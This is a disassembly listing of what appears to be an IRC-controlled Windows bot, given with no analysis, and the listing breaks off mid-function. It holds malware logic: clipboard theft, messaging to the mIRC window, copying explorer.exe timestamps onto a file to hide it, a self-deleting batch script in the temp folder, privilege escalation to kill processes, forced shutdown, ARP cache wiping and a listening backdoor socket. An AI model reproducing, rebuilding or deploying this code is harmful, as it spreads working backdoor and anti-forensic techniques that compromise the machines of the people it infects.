push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_42B438, eax
call esi ; GetProcAddress
cmp dword_42B478, ebx
mov dword_42B328, eax
jz short loc_40508B
cmp dword_42B470, ebx
jz short loc_40508B
cmp dword_42B438, ebx
jz short loc_40508B
cmp eax, ebx
jnz short loc_405095
jmp short loc_40508B
; ---------------------------------------------------------------------------
loc_405084: ; CODE XREF: sub_4045F0+A40j
call ebp ; RtlGetLastWin32Error
mov dword_42B4DC, eax
loc_40508B: ; CODE XREF: sub_4045F0+A7Cj
; sub_4045F0+A84j ...
mov dword_42B4D8, 1
loc_405095: ; CODE XREF: sub_4045F0+A90j
push offset aShell32_dll ; "shell32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4050CE
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_42B358, eax
call esi ; GetProcAddress
cmp dword_42B358, ebx
mov dword_42B444, eax
jz short loc_4050D5
cmp eax, ebx
jnz short loc_4050DF
jmp short loc_4050D5
; ---------------------------------------------------------------------------
loc_4050CE: ; CODE XREF: sub_4045F0+AB4j
call ebp ; RtlGetLastWin32Error
mov dword_42B4E4, eax
loc_4050D5: ; CODE XREF: sub_4045F0+AD6j
; sub_4045F0+ADCj
mov dword_42B4E0, 1
loc_4050DF: ; CODE XREF: sub_4045F0+ADAj
push offset aOdbc32_dll ; "odbc32.dll"
call dword_417084 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40516C
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_42B40C, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_42B458, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_42B39C, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_42B368, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_42B3F0, eax
call esi ; GetProcAddress
cmp dword_42B40C, ebx
mov dword_42B36C, eax
jz short loc_405173
cmp dword_42B458, ebx
jz short loc_405173
cmp dword_42B39C, ebx
jz short loc_405173
cmp dword_42B368, ebx
jz short loc_405173
cmp dword_42B3F0, ebx
jz short loc_405173
cmp eax, ebx
jnz short loc_40517D
jmp short loc_405173
; ---------------------------------------------------------------------------
loc_40516C: ; CODE XREF: sub_4045F0+AFEj
call ebp ; RtlGetLastWin32Error
mov dword_42B4EC, eax
loc_405173: ; CODE XREF: sub_4045F0+B54j
; sub_4045F0+B5Cj ...
mov dword_42B4E8, 1
loc_40517D: ; CODE XREF: sub_4045F0+B78j
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_4045F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405185 proc near ; CODE XREF: sub_406BAB+8F7p
; sub_406BAB+922p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_405210
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_405210
cmp [ebp+arg_8], esi
jz short loc_405210
cmp byte ptr [eax], 0
jz short loc_405210
push ebx
push edi
call sub_4160B0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40520B
push [ebp+arg_4]
push edi
call sub_40CE60
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405204
sub eax, edi
push eax
push edi
push ebx
call sub_40B110
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_40B5B0
push eax
push [ebp+arg_8]
push ebx
call sub_40AF90
push [ebp+arg_4]
call sub_40B5B0
add eax, esi
push eax
push ebx
call sub_40CD80
push ebx
push edi
call sub_40CD70
add esp, 30h
mov esi, edi
loc_405204: ; CODE XREF: sub_405185+3Cj
push ebx
call sub_40B771
pop ecx
loc_40520B: ; CODE XREF: sub_405185+2Bj
mov eax, esi
pop ebx
jmp short loc_405212
; ---------------------------------------------------------------------------
loc_405210: ; CODE XREF: sub_405185+Cj
; sub_405185+13j ...
xor eax, eax
loc_405212: ; CODE XREF: sub_405185+89j
pop edi
pop esi
pop ebp
retn
sub_405185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405216 proc near ; CODE XREF: sub_406A2F+E9p
var_960 = dword ptr -960h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 960h
push ebx
push esi
push edi
xor ebx, ebx
push 960h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_40B630
mov esi, [ebp+arg_0]
push esi
call sub_40B5B0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_40524E
or eax, 0FFFFFFFFh
jmp short loc_4052B5
; ---------------------------------------------------------------------------
loc_40524E: ; CODE XREF: sub_405216+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_960], esi
jle short loc_40526F
loc_40525A: ; CODE XREF: sub_405216+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_405267
cmp dl, 0Dh
jnz short loc_40526A
loc_405267: ; CODE XREF: sub_405216+4Aj
mov [ecx+esi], bl
loc_40526A: ; CODE XREF: sub_405216+4Fj
inc ecx
cmp ecx, eax
jl short loc_40525A
loc_40526F: ; CODE XREF: sub_405216+42j
xor edx, edx
cmp eax, ebx
jle short loc_405297
loc_405275: ; CODE XREF: sub_405216+7Fj
cmp [edx+esi], bl
jnz short loc_405292
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_405292
cmp edi, 258h
jge short loc_405297
mov [ebp+edi*4+var_960], ecx
inc edi
loc_405292: ; CODE XREF: sub_405216+62j
; sub_405216+6Aj
inc edx
cmp edx, eax
jl short loc_405275
loc_405297: ; CODE XREF: sub_405216+5Dj
; sub_405216+72j
cmp [ebp+arg_4], ebx
jz short loc_4052B3
lea eax, [ebp+var_960]
push 960h
push eax
push [ebp+arg_4]
call sub_40B210
add esp, 0Ch
loc_4052B3: ; CODE XREF: sub_405216+84j
mov eax, edi
loc_4052B5: ; CODE XREF: sub_405216+36j
pop edi
pop esi
pop ebx
leave
retn
sub_405216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4052BA proc near ; CODE XREF: sub_406BAB+1EA5p
; sub_406BAB+2618p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_417044 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_417090 ; FormatMessageA
lea eax, [ebp+var_100]
loc_4052F3: ; CODE XREF: sub_4052BA+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4052FF
cmp cl, 9
jnz short loc_405302
loc_4052FF: ; CODE XREF: sub_4052BA+3Ej
inc eax
jmp short loc_4052F3
; ---------------------------------------------------------------------------
loc_405302: ; CODE XREF: sub_4052BA+43j
; sub_4052BA+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_40531C
mov cl, [eax]
cmp cl, 2Eh
jz short loc_405302
cmp cl, 21h
jl short loc_405302
loc_40531C: ; CODE XREF: sub_4052BA+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_42B4F8
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_40BDE7
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4052BA endp
; =============== S U B R O U T I N E =======================================
sub_405344 proc near ; CODE XREF: sub_406BAB+2DE6p
push esi
push 0
call dword_42B3A4 ; OpenClipboard
test eax, eax
jz short loc_40537B
push 1
call dword_42B3C4 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_40537B
push edi
push esi
call dword_417098 ; GlobalLock
push esi
mov edi, eax
call dword_417094 ; GlobalUnlock
call dword_42B424 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40537B: ; CODE XREF: sub_405344+Bj
; sub_405344+19j
xor eax, eax
pop esi
retn
sub_405344 endp
; =============== S U B R O U T I N E =======================================
sub_40537F proc near ; CODE XREF: sub_406BAB+25A5p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_42B3E0 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_4053FB
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4170A4 ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4170A0 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_40B0B3
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_42B42C ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_42B42C ; SendMessageA
push ebx
call dword_41709C ; UnmapViewOfFile
push edi
call dword_417074 ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_4053FD
; ---------------------------------------------------------------------------
loc_4053FB: ; CODE XREF: sub_40537F+16j
xor eax, eax
loc_4053FD: ; CODE XREF: sub_40537F+7Aj
pop edi
pop esi
pop ebp
retn
sub_40537F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405401 proc near ; CODE XREF: sub_406422+20Cp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_42B484 ; SearchPathA
test eax, eax
jz short loc_4054A0
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_41707C
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4054A0
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4170AC ; GetFileTime
push ebx
mov ebx, dword_417074
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4054A0
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4170A8 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_4054A0: ; CODE XREF: sub_405401+2Aj
; sub_405401+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_405401 endp
; =============== S U B R O U T I N E =======================================
sub_4054A5 proc near ; CODE XREF: sub_406BAB+DF3p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_4057AB
pop ecx
pop ecx
push 50005h
push 6
call dword_42B330 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_4054A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4054C7 proc near ; CODE XREF: sub_4032EE+45Fp
; sub_406BAB+2FFCp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_41C0E4, esi
push edi
jz short loc_4054EB
cmp dword_42B498, esi
jnz short loc_4054EB
push esi
call sub_4031BC
pop ecx
loc_4054EB: ; CODE XREF: sub_4054C7+13j
; sub_4054C7+1Bj
call sub_40AC17
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4170BC ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_40B0B3
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_41707C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_40564B
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_40B0B3
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_40B5B0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_417078 ; WriteFile
push edi
call dword_417074 ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_40B630
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_40B630
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_422270
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_41708C ; GetModuleHandleA
push eax
call dword_41704C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4170B8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4055F3
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4170B4 ; SetFileAttributesA
loc_4055F3: ; CODE XREF: sub_4054C7+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_40B0B3
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4170B0 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_417070 ; CreateProcessA
loc_40564B: ; CODE XREF: sub_4054C7+72j
pop edi
pop esi
leave
retn
sub_4054C7 endp
; =============== S U B R O U T I N E =======================================
sub_40564F proc near ; CODE XREF: sub_403CA3+83p
; sub_4068DA+4Fp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42B410 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_405677
push [esp+arg_0]
call dword_42B454 ; gethostbyname
test eax, eax
jnz short loc_405670
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_405670: ; CODE XREF: sub_40564F+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_405677: ; CODE XREF: sub_40564F+Dj
retn
sub_40564F endp
; =============== S U B R O U T I N E =======================================
sub_405678 proc near ; CODE XREF: sub_4068DA+D6p
mov ecx, dword_42B310
xor eax, eax
test ecx, ecx
jz short locret_405686
jmp ecx
; ---------------------------------------------------------------------------
locret_405686: ; CODE XREF: sub_405678+Aj
retn
sub_405678 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405687 proc near ; CODE XREF: sub_406BAB:loc_409943p
var_C8 = byte ptr -0C8h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0C8h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_42B44C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_40570E
sub ecx, 32h
jz loc_40574B
sub ecx, 48h
jz short loc_4056E3
sub ecx, 6Eh
jz short loc_4056DC
loc_4056C5: ; CODE XREF: sub_405687+85j
push eax
lea eax, [ebp+var_C8]
push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"...
push eax
call sub_40B0B3
add esp, 0Ch
jmp short loc_405739
; ---------------------------------------------------------------------------
loc_4056DC: ; CODE XREF: sub_405687+3Cj
push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty."
jmp short loc_40572B
; ---------------------------------------------------------------------------
loc_4056E3: ; CODE XREF: sub_405687+37j
push [ebp+var_8]
call sub_40B6BF
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_40B630
add esp, 10h
cmp esi, edi
jz short loc_405726
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_42B44C ; GetIpNetTable
cmp eax, edi
jnz short loc_4056C5
loc_40570E: ; CODE XREF: sub_405687+29j
cmp [esi], edi
jbe short loc_405743
lea ebx, [esi+4]
loc_405715: ; CODE XREF: sub_405687+9Bj
push ebx
call dword_42B448 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_405715
jmp short loc_405743
; ---------------------------------------------------------------------------
loc_405726: ; CODE XREF: sub_405687+75j
push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"...
loc_40572B: ; CODE XREF: sub_405687+5Aj
; sub_405687+C9j
lea eax, [ebp+var_C8]
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_405739: ; CODE XREF: sub_405687+53j
push esi
mov [ebp+var_4], edi
call sub_40B771
pop ecx
loc_405743: ; CODE XREF: sub_405687+89j
; sub_405687+9Dj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40574B: ; CODE XREF: sub_405687+2Ej
push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
jmp short loc_40572B
sub_405687 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405752 proc near ; CODE XREF: sub_4023B8+50p
; sub_402E09+89p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_40B630
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_42B37C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_42BFC8
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_40B0B3
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_405752 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4057AB proc near ; CODE XREF: sub_4054A5+7p
; sub_405816+53p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_4170CC ; GetCurrentProcess
push eax
call dword_42B3B8 ; OpenProcessToken
test eax, eax
jnz short loc_4057CA
leave
retn
; ---------------------------------------------------------------------------
loc_4057CA: ; CODE XREF: sub_4057AB+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_42B394 ; LookupPrivilegeValueA
test eax, eax
jz short loc_405808
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_4057F1
or [ebp+var_8], 2
jmp short loc_4057F5
; ---------------------------------------------------------------------------
loc_4057F1: ; CODE XREF: sub_4057AB+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_4057F5: ; CODE XREF: sub_4057AB+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_42B43C ; AdjustTokenPrivileges
mov esi, eax
loc_405808: ; CODE XREF: sub_4057AB+32j
push [ebp+var_4]
call dword_417074 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_4057AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405816 proc near ; CODE XREF: sub_4059C3+74p
; sub_406BAB+26C6p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_42B3F4, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz short loc_4058BB
cmp dword_42B3D8, ebx
jz short loc_4058BB
cmp dword_42B30C, ebx
jz short loc_4058BB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4057AB
pop ecx
pop ecx
push ebx
push 0Fh
call dword_42B3F4 ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_4058AE
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_42B3D8 ; Process32First
mov esi, dword_417074
test eax, eax
jnz loc_405971
loc_4058A9: ; CODE XREF: sub_405816+173j
push [ebp+var_4]
call esi ; CloseHandle
loc_4058AE: ; CODE XREF: sub_405816+69j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4057AB
pop ecx
pop ecx
loc_4058BB: ; CODE XREF: sub_405816+3Aj
; sub_405816+42j ...
xor eax, eax
loc_4058BD: ; CODE XREF: sub_405816+1A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4058C2: ; CODE XREF: sub_405816+16Dj
cmp [ebp+arg_10], ebx
jnz loc_405971
cmp [ebp+arg_C], ebx
jnz loc_40595C
cmp [ebp+arg_4], ebx
jz loc_405971
push [ebp+var_124]
push 8
call dword_42B3F4 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_40591C
lea eax, [ebp+var_350]
push eax
push edi
call dword_42B2BC ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_405922
lea eax, [ebp+var_230]
jmp short loc_405928
; ---------------------------------------------------------------------------
loc_40591C: ; CODE XREF: sub_405816+E4j
push [ebp+var_124]
loc_405922: ; CODE XREF: sub_405816+FCj
lea eax, [ebp+var_108]
loc_405928: ; CODE XREF: sub_405816+104j
push eax
lea eax, [ebp+var_550]
push offset aSD ; " %s (%d)"
push eax
call sub_40B0B3
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
add esp, 14h
push edi
call esi ; CloseHandle
jmp short loc_405971
; ---------------------------------------------------------------------------
loc_40595C: ; CODE XREF: sub_405816+B8j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz short loc_40598E
loc_405971: ; CODE XREF: sub_405816+8Dj
; sub_405816+AFj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_42B30C ; Process32Next
test eax, eax
jnz loc_4058C2
jmp loc_4058A9
; ---------------------------------------------------------------------------
loc_40598E: ; CODE XREF: sub_405816+159j
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_4170D4 ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_4170D0 ; TerminateProcess
test eax, eax
jnz short loc_4059BB
push edi
call esi ; CloseHandle
jmp loc_4058BB
; ---------------------------------------------------------------------------
loc_4059BB: ; CODE XREF: sub_405816+19Bj
xor eax, eax
inc eax
jmp loc_4058BD
sub_405816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059C3 proc near ; DATA XREF: sub_406BAB+2F6Co
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_41BDE0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_40B0B3
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_405A22
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_404555
add esp, 14h
loc_405A22: ; CODE XREF: sub_4059C3+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_405816
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_405A50
push offset unk_41BDB8
jmp short loc_405A55
; ---------------------------------------------------------------------------
loc_405A50: ; CODE XREF: sub_4059C3+84j
push offset unk_41BD94
loc_405A55: ; CODE XREF: sub_4059C3+8Bj
push eax
call sub_40B0B3
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_405A82
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_404555
add esp, 14h
loc_405A82: ; CODE XREF: sub_4059C3+9Dj
lea eax, [ebp+var_298]
push eax
call sub_403145
push [ebp+var_14]
call sub_40AD6A
pop ecx
pop ecx
push esi
call dword_417050 ; ExitThread
pop edi
pop esi
sub_4059C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405AA1 proc near ; CODE XREF: sub_406BAB+2664p
; sub_40AB8F+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_4170D4 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_405AD3
push 0
push esi
call dword_4170D0 ; TerminateProcess
test eax, eax
jnz short loc_405AD3
push esi
xor edi, edi
call dword_417074 ; CloseHandle
loc_405AD3: ; CODE XREF: sub_405AA1+1Aj
; sub_405AA1+27j
mov eax, edi
pop edi
pop esi
retn
sub_405AA1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AD8 proc near ; DATA XREF: sub_406BAB+1CAEo
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_40B630
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_42B3D4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_42B450 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_405C30
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_42CF6C[ecx], eax
call dword_42B308 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_42B400 ; bind
test eax, eax
jnz loc_405C30
push 0Ah
push [ebp+arg_0]
call dword_42B3FC ; listen
test eax, eax
jnz loc_405C30
loc_405B88: ; CODE XREF: sub_405AD8+C6j
; sub_405AD8+153j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_42B464 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_405B88
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_41BE08
push eax
call sub_40B0B3
push edi
lea eax, [ebp+var_350]
push 0Fh
push eax
call sub_40AA54
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_42CF64[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_405C55
push esi
push esi
call dword_417048 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_42CF74[ecx], eax
jz short loc_405C33
jmp short loc_405C26
; ---------------------------------------------------------------------------
